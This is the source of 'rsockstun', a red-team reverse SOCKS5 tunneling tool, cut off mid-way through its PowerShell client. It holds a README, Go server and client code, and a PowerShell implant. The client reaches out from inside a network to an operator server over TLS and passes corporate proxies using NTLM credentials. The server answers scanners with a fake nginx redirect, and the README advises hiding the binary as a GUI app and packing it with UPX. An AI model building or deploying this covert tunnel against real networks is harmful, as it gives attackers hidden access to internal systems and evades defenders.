├── README.md ├── rserver.go ├── main.go ├── rclient.go └── powershell_client.ps1 /README.md: -------------------------------------------------------------------------------- 1 | rsockstun 2 | ====== 3 | 4 | RedTeam reverse socks5 tunneler with SSL and proxy support 5 | 6 | 7 | Usage: 8 | ------ 9 | ``` 10 | 11 | Usage: 12 | 0) Generate self-signed certificate with openssl: openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes 13 | 1) Start server on VPS: ./rsockstun -listen :8443 -socks :1080 -cert server -pass Password1234 14 | 2) Start on client: rsockstun -connect ServerIP:8443 -pass Password1234 15 | 3) Use your favour socks client: proxychains curl -x socks5h://ServerIP:1080 https://gmail.com/ 16 | 4) Enjoy. :] 17 | 18 | Addidional params: 19 | -proxy 1.2.3.4:3128 - connect via proxy 20 | -proxyauth Domain/username:password - proxy creds 21 | -proxytimeout 2000 - server and clients will wait for 2000 msec for proxy connections... (Sometime it should be up to 4000...) 22 | -useragent "Internet Explorer 9.99" - User-Agent used in connection (sometimes it is usefull) 23 | -pass Password12345 - challenge password between client and server (if not match - server reply 301 redirect) 24 | -recn - reconnect times number. Default is 3. If 0 - infinite reconnection 25 | -rect - time delay in secs between reconnection attempts. Default is 30 26 | -rurl - redirect url, ex: https://mail.com/login (if password from client is incorrect - client got redirect URL) 27 | 28 | 29 | Compile and Installation: 30 | 31 | Server: 32 | Linux VPS 33 | - install Golang: apt install golang 34 | - export GOPATH=~/go 35 | - go get github.com/hashicorp/yamux 36 | - go get github.com/armon/go-socks5 37 | - go get github.com/ThomsonReutersEikon/go-ntlm/ntlm 38 | - go build 39 | - openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes 40 | launch: 41 | ./rsockstun -listen :8443 -socks :1080 -cert server -pass Password1234 -rurl https://mail.com/login 42 | 43 | Windows client: 44 | - download and install golang 45 | - go get github.com/hashicorp/yamux 46 | - go get github.com/armon/go-socks5 47 | - go get github.com/ThomsonReutersEikon/go-ntlm/ntlm 48 | If you want to use proxy NTLM auth - patch go-ntlm\ntlm\payload.go packet: 49 | bytes := utf16FromString(value) -> bytes := []byte(value) 50 | p.Type = UnicodeStringPayload -> p.Type = OemStringPayload 51 | - go build 52 | optional: to build as Windows GUI: go build -ldflags -H=windowsgui 53 | optional: to compress exe - use any exe packer, ex: UPX 54 | launch: 55 | rsockstun.exe -connect clientIP:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain\userpame:userpass -useragent "Mozilla 5.0/IE Windows 10" -recn 5 -rect 30 56 | 57 | Client connects to server and send agentpassword to authorize on server. If server does not receive agentpassword or reveive wrong pass from client (for example if spider or client browser connects to server ) then it send HTTP 301 redirect code to redirec URL https://mail.com/login (rurl parameter). If connection will be broken then client will reconnect 5 times with 30 sec interval. 58 | 59 | You can use powershell client: 60 | 61 | powershell .\powershell_cleint.ps1 -server ServerIp -port 8443 -pass Password1234 62 | 63 | There is no proxy support and reconnectings in ps1 client. (( 64 | 65 | ``` 66 | -------------------------------------------------------------------------------- /rserver.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net" 8 | "os" 9 | "crypto/tls" 10 | 11 | "time" 12 | "bufio" 13 | //"encoding/hex" 14 | "github.com/hashicorp/yamux" 15 | "strings" 16 | 17 | ) 18 | //var session *yamux.Session 19 | var stream *yamux.Stream 20 | var proxytout = time.Millisecond * 2000 //timeout for wait for password 21 | var rurl string//redirect URL 22 | 23 | // Catches yamux connecting to us 24 | func listenForClients(address string, certificate string) { 25 | log.Println("Listening for the far end") 26 | 27 | cer, err := tls.LoadX509KeyPair(certificate+".crt", certificate+".key") 28 | 29 | if err != nil { 30 | log.Println(err) 31 | return 32 | } 33 | config := &tls.Config{Certificates: []tls.Certificate{cer}} 34 | 35 | if config.DynamicRecordSizingDisabled { 36 | log.Println("Cert") 37 | } 38 | 39 | //ln, err := net.Listen("tcp", address) 40 | ln, err := tls.Listen("tcp", address, config) 41 | if err != nil { 42 | return 43 | } 44 | for { 45 | conn, err := ln.Accept() 46 | conn.RemoteAddr() 47 | log.Printf("Got a SSL connection from %v: ",conn.RemoteAddr()) 48 | if err != nil { 49 | fmt.Fprintf(os.Stderr, "Errors accepting!") 50 | } 51 | 52 | 53 | reader := bufio.NewReader(conn) 54 | 55 | //read only 64 bytes with timeout=1-3 sec. So we haven't delay with browsers 56 | conn.SetReadDeadline(time.Now().Add(proxytout)) 57 | statusb := make([]byte,64) 58 | _,_ = io.ReadFull(reader,statusb) 59 | 60 | //Alternatively - read all bytes with timeout=1-3 sec. So we have delay with browsers, but get all GET request 61 | //conn.SetReadDeadline(time.Now().Add(proxytout)) 62 | //statusb,_ := ioutil.ReadAll(magicBuf) 63 | 64 | //log.Printf("magic bytes: %v",statusb[:6]) 65 | //if hex.EncodeToString(statusb) != magicbytes { 66 | if string(statusb)[:len(agentpassword)] != agentpassword { 67 | //do HTTP checks 68 | log.Printf("Received request: %v",string(statusb[:64])) 69 | status := string(statusb) 70 | if (strings.Contains(status," HTTP/1.1")){ 71 | httpresonse := "HTTP/1.1 301 Moved Permanently"+ 72 | "\r\nContent-Type: text/html; charset=UTF-8"+ 73 | "\r\nServer: nginx/1.14.1"+ 74 | "\r\nContent-Length: 0"+ 75 | "\r\nConnection: close"+ 76 | "\r\nLocation: "+rurl+ 77 | "\r\n\r\n" 78 | 79 | conn.Write([]byte(httpresonse)) 80 | conn.Close() 81 | } else { 82 | conn.Close() 83 | } 84 | 85 | }else { 86 | //magic bytes received. 87 | //disable socket read timeouts 88 | log.Println("Got remote Client") 89 | conn.SetReadDeadline(time.Now().Add(100 * time.Hour)) 90 | 91 | 92 | //connect with yamux 93 | //Add connection to yamux 94 | yconf := yamux.DefaultConfig() 95 | //yconf.EnableKeepAlive = false 96 | yconf.KeepAliveInterval = time.Millisecond * 50000 97 | session, err = yamux.Client(conn, yconf) 98 | 99 | } 100 | } 101 | } 102 | 103 | // Catches clients and connects to yamux 104 | func listenForSocks(address string) error { 105 | log.Println("Waiting for socks clients") 106 | ln, err := net.Listen("tcp", address) 107 | if err != nil { 108 | return err 109 | } 110 | for { 111 | conn, err := ln.Accept() 112 | if err != nil { 113 | return err 114 | } 115 | // TODO dial socks5 through yamux and connect to conn 116 | 117 | if session == nil { 118 | conn.Close() 119 | continue 120 | } 121 | log.Println("Got a socks client") 122 | 123 | log.Println("Opening a stream") 124 | stream, err := session.Open() 125 | 126 | 127 | if err != nil { 128 | return err 129 | } 130 | 131 | 132 | // connect both of conn and stream 133 | 134 | go func() { 135 | log.Printf("Starting to copy conn to stream id: ") 136 | 137 | 138 | io.Copy(conn, stream) 139 | 140 | conn.Close() 141 | }() 142 | go func() { 143 | log.Println("Starting to copy stream to conn") 144 | 145 | io.Copy(stream, conn) 146 | //log.Printf("Closing stream id: %d ",stream) 147 | stream.Close() 148 | 149 | log.Println("Done copying stream to conn") 150 | }() 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net" 8 | "os" 9 | 10 | "github.com/hashicorp/yamux" 11 | "time" 12 | 13 | "strconv" 14 | "strings" 15 | 16 | ) 17 | 18 | var session *yamux.Session 19 | var agentpassword string 20 | var sconn net.Conn 21 | 22 | func main() { 23 | 24 | listen := flag.String("listen", "", "listen port for receiver address:port") 25 | certificate := flag.String("cert", "", "certificate file") 26 | socks := flag.String("socks", "127.0.0.1:1080", "socks address:port") 27 | connect := flag.String("connect", "", "connect address:port") 28 | proxy := flag.String("proxy", "", "proxy address:port") 29 | optproxytimeout := flag.String("proxytimeout", "", "proxy response timeout (ms)") 30 | proxyauthstring := flag.String("proxyauth", "", "proxy auth Domain/user:Password ") 31 | optuseragent := flag.String("useragent", "", "User-Agent") 32 | optpassword := flag.String("pass", "", "Connect password") 33 | optredirecturl := flag.String("rurl", "", "redirect url. Ex: http://mail.com/login") 34 | recn := flag.Int("recn", 3, "reconnection limit") 35 | //ymx := flag.Bool("ymx", true, "use yamux") 36 | 37 | rect := flag.Int("rect", 30, "reconnection delay") 38 | version := flag.Bool("version", false, "version information") 39 | flag.Usage = func() { 40 | fmt.Println("rsockstun - reverse socks5 server/client") 41 | fmt.Println("") 42 | fmt.Println("Usage:") 43 | fmt.Println("0) Generate self-signed SSL certificate: openssl: openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes") 44 | fmt.Println("1) Start rsockstun -listen :8080 -socks 127.0.0.1:1080 -cert server on the server.") 45 | fmt.Println("2) Start rsockstun -connect client:8080 on the client inside LAN.") 46 | fmt.Println("3) Connect to 127.0.0.1:1080 on the server with any socks5 client to access into LAN.") 47 | fmt.Println("X) Enjoy. :]") 48 | } 49 | 50 | flag.Parse() 51 | 52 | 53 | if *version { 54 | fmt.Println("rsockstun - reverse socks5 server/client") 55 | os.Exit(0) 56 | } 57 | 58 | if *listen != "" { 59 | log.Println("Starting to listen for clients") 60 | if *optproxytimeout != "" { 61 | opttimeout,_ := strconv.Atoi(*optproxytimeout) 62 | proxytout = time.Millisecond * time.Duration(opttimeout) 63 | } else { 64 | proxytout = time.Millisecond * 1000 65 | } 66 | 67 | if *optredirecturl != "" { 68 | rurl = *optredirecturl 69 | } else { 70 | rurl = "https://www.microsoft.com/" 71 | } 72 | 73 | if *optpassword != "" { 74 | agentpassword = *optpassword 75 | } else { 76 | agentpassword = "RocksDefaultRequestRocksDefaultRequestRocksDefaultRequestRocks!!" 77 | } 78 | 79 | go listenForClients(*listen, *certificate) 80 | log.Fatal(listenForSocks(*socks )) 81 | } 82 | 83 | if *connect != "" { 84 | 85 | if *optproxytimeout != "" { 86 | opttimeout,_ := strconv.Atoi(*optproxytimeout) 87 | proxytimeout = time.Millisecond * time.Duration(opttimeout) 88 | } else { 89 | proxytimeout = time.Millisecond * 1000 90 | } 91 | 92 | if *proxyauthstring != "" { 93 | domain = strings.Split(*proxyauthstring, "/")[0] 94 | username = strings.Split(strings.Split(*proxyauthstring, "/")[1],":")[0] 95 | password = strings.Split(strings.Split(*proxyauthstring, "/")[1],":")[1] 96 | } else { 97 | domain = "" 98 | username = "" 99 | password = "" 100 | } 101 | 102 | if *optpassword != "" { 103 | agentpassword = *optpassword 104 | } else { 105 | agentpassword = "RocksDefaultRequestRocksDefaultRequestRocksDefaultRequestRocks!!" 106 | } 107 | 108 | if *optuseragent != "" { 109 | useragent = *optuseragent 110 | } else { 111 | useragent = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 112 | } 113 | //log.Fatal(connectForSocks(*connect,*proxy)) 114 | if *recn >0 { 115 | for i := 1; i <= *recn; i++ { 116 | log.Printf("Connecting to the far end. Try %d of %d",i,*recn) 117 | error1 := connectForSocks(*connect,*proxy) 118 | log.Print(error1) 119 | log.Printf("Sleeping for %d sec...",*rect) 120 | tsleep := time.Second * time.Duration(*rect) 121 | time.Sleep(tsleep) 122 | } 123 | 124 | } else { 125 | for { 126 | log.Printf("Reconnecting to the far end... ") 127 | error1 := connectForSocks(*connect,*proxy) 128 | log.Print(error1) 129 | log.Printf("Sleeping for %d sec...",*rect) 130 | tsleep := time.Second * time.Duration(*rect) 131 | time.Sleep(tsleep) 132 | } 133 | } 134 | 135 | log.Fatal("Ending...") 136 | } 137 | 138 | fmt.Fprintf(os.Stderr, "You must specify a listen port or a connect address") 139 | os.Exit(1) 140 | } 141 | -------------------------------------------------------------------------------- /rclient.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net" 6 | "crypto/tls" 7 | 8 | socks5 "github.com/armon/go-socks5" 9 | "github.com/hashicorp/yamux" 10 | "encoding/base64" 11 | "time" 12 | "net/http" 13 | "bufio" 14 | "strings" 15 | "github.com/ThomsonReutersEikon/go-ntlm/ntlm" 16 | "io/ioutil" 17 | ) 18 | 19 | 20 | var encBase64 = base64.StdEncoding.EncodeToString 21 | var decBase64 = base64.StdEncoding.DecodeString 22 | var username string 23 | var domain string 24 | var password string 25 | var connectproxystring string 26 | var useragent string 27 | var proxytimeout = time.Millisecond * 1000 //timeout for proxyserver response 28 | 29 | 30 | 31 | func connectviaproxy(proxyaddr string, connectaddr string) net.Conn { 32 | 33 | if (username != "") && (password != "") && (domain != "") { 34 | connectproxystring = "CONNECT " + connectaddr + " HTTP/1.1" + "\r\nHost: " + connectaddr + 35 | "\r\nUser-Agent: "+useragent+ 36 | "\r\nProxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" + 37 | "\r\nProxy-Connection: Keep-Alive" + 38 | "\r\n\r\n" 39 | 40 | }else { 41 | connectproxystring = "CONNECT " + connectaddr + " HTTP/1.1" + "\r\nHost: " + connectaddr + 42 | "\r\nUser-Agent: "+useragent+ 43 | "\r\nProxy-Connection: Keep-Alive" + 44 | "\r\n\r\n" 45 | } 46 | 47 | //log.Print(connectproxystring) 48 | 49 | conn, err := net.Dial("tcp", proxyaddr) 50 | if err != nil { 51 | // handle error 52 | log.Printf("Error connect: %v",err) 53 | } 54 | conn.Write([]byte(connectproxystring)) 55 | 56 | time.Sleep(proxytimeout) //Because socket does not close - we need to sleep for full response from proxy 57 | 58 | resp,err := http.ReadResponse(bufio.NewReader(conn),&http.Request{Method: "CONNECT"}) 59 | status := resp.Status 60 | 61 | //log.Print(status) 62 | //log.Print(resp) 63 | 64 | if (resp.StatusCode == 200) || (strings.Contains(status,"HTTP/1.1 200 ")) || 65 | (strings.Contains(status,"HTTP/1.0 200 ")){ 66 | log.Print("Connected via proxy. No auth required") 67 | return conn 68 | } 69 | 70 | if (strings.Contains(status,"407 Proxy Authentication Required")){ 71 | log.Print("Got Proxy auth:") 72 | ntlmchall := resp.Header.Get("Proxy-Authenticate") 73 | if ntlmchall != "" { 74 | log.Print("Got NTLM challenge:") 75 | //log.Print(ntlmchall) 76 | var session ntlm.ClientSession 77 | session, _ = ntlm.CreateClientSession(ntlm.Version2, ntlm.ConnectionlessMode) 78 | session.SetUserInfo(username,password,domain) 79 | //negotiate, _ := session.GenerateNegotiateMessage() 80 | //log.Print(negotiate) 81 | 82 | ntlmchall = ntlmchall[5:] 83 | ntlmchallb,_ := decBase64(ntlmchall) 84 | 85 | 86 | challenge, _ := ntlm.ParseChallengeMessage(ntlmchallb) 87 | session.ProcessChallengeMessage(challenge) 88 | authenticate, _ := session.GenerateAuthenticateMessage() 89 | ntlmauth:= encBase64(authenticate.Bytes()) 90 | 91 | //log.Print(authenticate) 92 | connectproxystring = "CONNECT "+connectaddr+" HTTP/1.1"+"\r\nHost: "+connectaddr+ 93 | "\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko"+ 94 | "\r\nProxy-Authorization: NTLM "+ntlmauth+ 95 | "\r\nProxy-Connection: Keep-Alive"+ 96 | "\r\n\r\n" 97 | 98 | 99 | //Empty read buffer 100 | /* 101 | var statusb []byte 102 | //conn.SetReadDeadline(time.Now().Add(1000 * time.Millisecond)) 103 | bufReader := bufio.NewReader(conn) 104 | n, err := bufReader.Read(statusb) 105 | //statusb,_ := ioutil.ReadAll(bufReader) 106 | if err != nil { 107 | if err == io.EOF { 108 | log.Printf("Readed %v vites",n) 109 | } 110 | } 111 | status = string(statusb) 112 | */ 113 | 114 | conn.Write([]byte(connectproxystring)) 115 | 116 | //read response 117 | bufReader := bufio.NewReader(conn) 118 | conn.SetReadDeadline(time.Now().Add(proxytimeout)) 119 | statusb,_ := ioutil.ReadAll(bufReader) 120 | 121 | status = string(statusb) 122 | 123 | //disable socket read timeouts 124 | conn.SetReadDeadline(time.Now().Add(100 * time.Hour)) 125 | 126 | if (strings.Contains(status,"HTTP/1.1 200 ")){ 127 | log.Print("Connected via proxy") 128 | return conn 129 | } else{ 130 | log.Printf("Not Connected via proxy. Status:%v",status) 131 | return nil 132 | } 133 | } 134 | 135 | }else { 136 | log.Print("Not connected via proxy") 137 | conn.Close() 138 | return nil 139 | } 140 | 141 | return conn 142 | } 143 | 144 | func connectForSocks(address string, proxy string) error { 145 | server, err := socks5.New(&socks5.Config{}) 146 | if err != nil { 147 | return err 148 | } 149 | 150 | conf := &tls.Config{ 151 | InsecureSkipVerify: true, 152 | } 153 | 154 | var conn net.Conn 155 | var connp net.Conn 156 | var newconn net.Conn 157 | //var conntls tls.Conn 158 | //var conn tls.Conn 159 | if proxy == "" { 160 | log.Println("Connecting to far end") 161 | //conn, err = net.Dial("tcp", address) 162 | conn, err = tls.Dial("tcp", address, conf) 163 | if err != nil { 164 | return err 165 | } 166 | }else { 167 | log.Println("Connecting to proxy ...") 168 | connp = connectviaproxy(proxy,address) 169 | if connp != nil{ 170 | log.Println("Proxy successfull. Connecting to far end") 171 | conntls := tls.Client(connp,conf) 172 | err := conntls.Handshake() 173 | if err != nil { 174 | log.Printf("Error connect: %v",err) 175 | return err 176 | } 177 | newconn = net.Conn(conntls) 178 | }else{ 179 | log.Println("Proxy NOT successfull. Exiting") 180 | return nil 181 | } 182 | } 183 | 184 | log.Println("Starting client") 185 | if proxy == "" { 186 | conn.Write([]byte(agentpassword)) 187 | //time.Sleep(time.Second * 1) 188 | session, err = yamux.Server(conn, nil) 189 | }else { 190 | 191 | //log.Print(conntls) 192 | newconn.Write([]byte(agentpassword)) 193 | time.Sleep(time.Second * 1) 194 | session, err = yamux.Server(newconn, nil) 195 | } 196 | if err != nil { 197 | return err 198 | } 199 | 200 | for { 201 | stream, err := session.Accept() 202 | log.Println("Acceping stream") 203 | if err != nil { 204 | return err 205 | } 206 | log.Println("Passing off to socks5") 207 | go func() { 208 | err = server.ServeConn(stream) 209 | if err != nil { 210 | log.Println(err) 211 | } 212 | }() 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /powershell_client.ps1: -------------------------------------------------------------------------------- 1 | param ( 2 | [string]$server = "localhost", 3 | [int]$port = 4888, 4 | [string]$pass = "microsoft" 5 | ) 6 | 7 | $buffer = New-Object System.Byte[] 2048 8 | [void][byte[]] $ymxbuffer 9 | [void][byte[]] $databuffer 10 | $tmpbuffer = New-Object System.Byte[] 12 11 | $wrnum = 0 12 | $bufsize = 8192 13 | 14 | 15 | [ScriptBlock]$socksScript = { 16 | #do socks server 17 | param($state) 18 | 19 | function Get-IpAddress{ 20 | param($ip) 21 | IF ($ip -as [ipaddress]){ 22 | return $ip 23 | }else{ 24 | $ip2 = [System.Net.Dns]::GetHostAddresses($ip)[0].IPAddressToString; 25 | } 26 | return $ip2 27 | } 28 | 29 | $buffer = New-Object System.Byte[] 1500 30 | 31 | 32 | #"Debug : inside socks thread. StreamID: " | out-file -Append c:\work\log.txt 33 | #$state.StreamID | out-file -Append c:\work\log.txt 34 | 35 | try{ 36 | 37 | #get socks ver 38 | $state.inputStream.Read($buffer,0,2) | Out-Null 39 | $socksVer=$buffer[0] 40 | if ($socksVer -eq 5){ 41 | #"Debug : inside socks thread. Socksver = 5 " | out-file -Append c:\work\log.txt 42 | $state.inputStream.Read($buffer,2,$buffer[1]) | Out-Null 43 | for ($i=2; $i -le $buffer[1]+1; $i++) { 44 | if ($buffer[$i] -eq 0) {break} 45 | } 46 | if ($buffer[$i] -ne 0){ 47 | $buffer[1]=255 48 | $state.outputStream.Write($buffer,0,2) 49 | }else{ 50 | $buffer[1]=0 51 | $state.outputStream.Write($buffer,0,2) 52 | } 53 | $state.inputStream.Read($buffer,0,4) | Out-Null 54 | $cmd = $buffer[1] 55 | $atyp = $buffer[3] 56 | if($cmd -ne 1){ 57 | $buffer[1] = 7 58 | $state.outputStream.Write($buffer,0,2) 59 | #"Debug : inside socks thread. Not a connect: " | out-file -Append c:\work\log.txt 60 | $state.outputStream.Write($buffer,0,2) 61 | $StopFlag[$state.StreamID] = 2 62 | throw "Not a connect" 63 | } 64 | if($atyp -eq 1){ 65 | $ipv4 = New-Object System.Byte[] 4 66 | $state.inputStream.Read($ipv4,0,4) | Out-Null 67 | $ipAddress = New-Object System.Net.IPAddress(,$ipv4) 68 | $hostName = $ipAddress.ToString() 69 | #"Debug : inside socks thread. ipaddress: $ipaddress, hostname: $hostname " | out-file -Append c:\work\log.txt 70 | }elseif($atyp -eq 3){ 71 | $state.inputStream.Read($buffer,4,1) | Out-Null 72 | $hostBuff = New-Object System.Byte[] $buffer[4] 73 | $state.inputStream.Read($hostBuff,0,$buffer[4]) | Out-Null 74 | $hostName = [System.Text.Encoding]::ASCII.GetString($hostBuff) 75 | #"Debug : inside socks thread. hostname: $hostname " | out-file -Append c:\work\log.txt 76 | } 77 | else{ 78 | $buffer[1] = 8 79 | $state.outputStream.Write($buffer,0,2) 80 | #"Debug : inside socks thread. Not a valid destination address " | out-file -Append c:\work\log.txt 81 | $buffer[1]=4 82 | $state.outputStream.Write($buffer,0,2) 83 | $StopFlag[$state.StreamID] = 2 84 | throw "Not a valid destination address" 85 | } 86 | $state.inputStream.Read($buffer,4,2) | Out-Null 87 | $destPort = $buffer[4]*256 + $buffer[5] 88 | #"Debug : inside socks thread. Call IP address func. Hostname: $hostname " | out-file -Append c:\work\log.txt 89 | $destHost = Get-IpAddress($hostName) 90 | 91 | #"Debug : inside socks thread. Done. DestHost: $DestHost " | out-file -Append c:\work\log.txt 92 | if($destHost -eq $null){ 93 | $buffer[1]=4 94 | $state.outputStream.Write($buffer,0,2) 95 | #"Debug : inside socks thread. Cant resolve destination address " | out-file -Append c:\work\log.txt 96 | throw "Cant resolve destination address" 97 | } 98 | 99 | #"Debug : inside socks thread. Connecting to... $desthost, $destport " | out-file -Append c:\work\log.txt 100 | 101 | $tmpServ = New-Object System.Net.Sockets.TcpClient($destHost, $destPort) 102 | 103 | #$tmpServ = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 8889) 104 | if($tmpServ.Connected){ 105 | #"Debug : inside socks thread. $state.StreamID connected " | out-file -Append c:\work\log.txt 106 | 107 | $buffer[1]=0 108 | $buffer[3]=1 109 | $buffer[4]=0 110 | $buffer[5]=0 111 | $state.outputStream.Write($buffer,0,10) 112 | $state.outputStream.Flush() 113 | 114 | 115 | 116 | $srvStream = $tmpServ.GetStream() 117 | #$AsyncJobResult2 = $srvStream.WriteAsync([byte[]][char[]]"GET / HTTP/1.1`n`n",0,16) 118 | $AsyncJobResult2 = $state.inputStream.CopyToAsync($srvstream) 119 | #"Debug : inside thread $state.StreamID . state.inputStream.CopyToAsync done " | out-file -Append c:\work\log.txt 120 | $AsyncJobResult = $srvStream.CopyToAsync($state.outputStream) 121 | #"Debug : inside thread $state.StreamID . srvStream.CopyToAsync done " | out-file -Append c:\work\log.txt 122 | #$AsyncJobResult.AsyncWaitHandle.WaitOne(); 123 | #$AsyncJobResult2.AsyncWaitHandle.WaitOne(); 124 | while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){ 125 | #"Debug : inside thread. EndFlag is NOT set " | out-file -Append c:\work\log.txt 126 | #$StopFlag[$state.StreamID] | out-file -Append c:\work\log.txt 127 | start-sleep -Milliseconds 5 128 | } 129 | 130 | 131 | if ($tmpServ.Connected){ 132 | #"Debug : inside thread. finishing by yamux... " | out-file -Append c:\work\log.txt 133 | $tmpServ.close() 134 | }else{ 135 | #"Debug : inside thread. finishing by socks... " | out-file -Append c:\work\log.txt 136 | $StopFlag[$state.StreamID] = 2 137 | } 138 | 139 | }else{ 140 | #"Debug : inside thread. Can not connect " | out-file -Append c:\work\log.txt 141 | $buffer[1]=4 142 | $state.outputStream.Write($buffer,0,2) 143 | $StopFlag[$state.StreamID] = 2 144 | throw "thread extension: can not a connect" 145 | 146 | } 147 | 148 | } 149 | 150 | } 151 | catch{ 152 | $StopFlag[$state.StreamID] = 2 153 | throw "thread extension: some error" 154 | } 155 | finaly{ 156 | if ($tmpServ -ne $null) { 157 | $tmpServ.Dispose() 158 | } 159 | #"Debug : inside socks thread. Closing thread. StreamID: " | out-file -Append c:\work\log.txt 160 | #$state.StreamID | out-file -Append c:\work\log.txt 161 | 162 | Exit; 163 | } 164 | } 165 | 166 | 167 | [ScriptBlock]$yamuxScript = { 168 | #going walktrough a streams list, quering them and puting a results to yamux with corresponding yamux stream id 169 | param($state) 170 | #"Debug : inside yamux thread. Hello ! " | out-file -Append c:\work\log.txt 171 | while($true){ 172 | if ($StopFlag[0] -ge 0){ 173 | #got yamux keepalive. we have to reply 174 | $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] 175 | $state.tcpstream.Write($outbuf,0,12) 176 | $state.tcpstream.flush() 177 | $StopFlag[0] = -1 178 | } 179 | 180 | #"Debug : inside yamux thread. Hello ! " | out-file -Append c:\work\log.txt 181 | foreach ($stream in $state.streams){ 182 | #"Debug : inside yamux thread. working with stream: " | out-file -Append c:\work\log.txt 183 | #$stream.ymxId | out-file -Append c:\work\log.txt 184 | 185 | if ($stream.readjob -eq $null){ 186 | $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,$state.bufsize) 187 | }elseif ( $stream.readjob.IsCompleted ){ 188 | #if read asyncjob completed 189 | #"Debug : inside yamux thread. got data from socks thread " | out-file -Append c:\work\log.txt 190 | #$stream.ymxId | out-file -Append c:\work\log.txt 191 | $outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0] 192 | #"Debug : inside yamux thread. writing YMX 12 byte DATA header to tcpstream " | out-file -Append c:\work\log.txt 193 | $state.tcpstream.Write($outbuf,0,12) 194 | 195 | #write raw data from socks thread to yamux 196 | #"Debug : inside yamux thread. writing raw DATA header to tcpstream " | out-file -Append c:\work\log.txt 197 | $state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result) 198 | $state.tcpstream.flush() 199 | 200 | #create new readasync job 201 | $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,$state.bufsize) 202 | }else{ 203 | #write-host "Not readed" 204 | } 205 | 206 | 207 | #$stopflag | out-file -Append c:\work\log.txt 208 | 209 | #check StopFlag for FYN from socks 210 | if ($StopFlag[$stream.ymxId] -eq 2){ 211 | #"Debug : inside yamux thread. got STOP flag from socks " | out-file -Append c:\work\log.txt 212 | #$stream.ymxId | out-file -Append c:\work\log.txt 213 | $StopFlag[$stream.ymxId] = 3 214 | $outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00) 215 | $state.tcpstream.Write($outbuf,0,12) 216 | $state.tcpstream.flush() 217 | } 218 | 219 | #check RcvBytes for 256K size 220 | if ($RcvBytes[$stream.ymxId] -ge 256144){ 221 | #out win update ymx packet with 256K size 222 | $outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00) 223 | $state.tcpstream.Write($outbuf,0,12) 224 | $RcvBytes[$stream.ymxId] = 0 225 | } 226 | 227 | } 228 | start-sleep -Milliseconds 5 229 | } 230 | } 231 | 232 | "Debug : begin" | out-file c:\work\log.txt 233 | [System.Collections.ArrayList]$streams = @{} 234 | $StopFlag = [hashtable]::Synchronized(@{})#Shared array of flags. 0 - normal;1 - got FIN from yamux; 2 - got FIN from socks; 3 - got FIN from socks and FIN packet was sent to yamux 235 | $RcvBytes = [hashtable]::Synchronized(@{})#Shared array of num of received bytes. When its eq or more than 256144 - then we have to send ymx window update packet, otherwise files > 256k will not be transfered by yamux 236 | $StopFlag[0] = -1 237 | 238 | $tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port) 239 | #$tcpStream = $tcpConnection.GetStream() #uncomment for cleartext connection 240 | #comment 2 lines for cleartext connection 241 | $tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) 242 | $tcpStream.AuthenticateAsClient('127.0.0.1') 243 | 244 | if ($tcpConnection.Connected) 245 | { 246 | write-host "conneccted" 247 | $connected = $true 248 | 249 | $tcpstream.Write([byte[]][char[]]$pass,0,$pass.length) 250 | 251 | #create runspase for shared arrays StopFlag, RcvBytes 252 | $ymxrunspace = [runspacefactory]::CreateRunspace() 253 | $ymxrunspace.Open() 254 | $ymxrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag) 255 | $ymxrunspace.SessionStateProxy.SetVariable("RcvBytes",$RcvBytes) 256 | 257 | #start async yamux stript(thread) - 258 | write-host "Debug: staring yamux thread" 259 | $state = [PSCustomObject]@{"streams"=$streams;"tcpStream"=$tcpstream;"bufsize"=$bufsize} 260 | $PS1 = [PowerShell]::Create() 261 | $PS1.Runspace = $ymxrunspace 262 | $PS1.AddScript($yamuxScript).AddArgument($state) | Out-Null 263 | [System.IAsyncResult]$AsyncJobResult = $null 264 | $ymxAsyncJob = $PS1.BeginInvoke() 265 | 266 | while($tcpConnection.Connected -and $connected){ 267 | $ymxbuffer = $null 268 | $tnum = 0 269 | #read 12 bytes of ymx header; we have to use cycle, because there may be multiple read attempts... 270 | do { 271 | try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} 272 | if ($num -eq 0 ) {$connected=$false; break;} 273 | $tnum += $num 274 | $ymxbuffer += $tmpbuffer[0..($num-1)] 275 | }while ($tnum -lt 12 -and $tcpConnection.Connected) 276 | 277 | if ($ymxbuffer[1] -eq 1 -and $ymxbuffer[3] -eq 1){ 278 | write-host "Debug: got ymx SYN" 279 | $ymxstream = [bitconverter]::ToInt32($ymxbuffer[7..4],0) 280 | #write-host "Yamux stream ID: 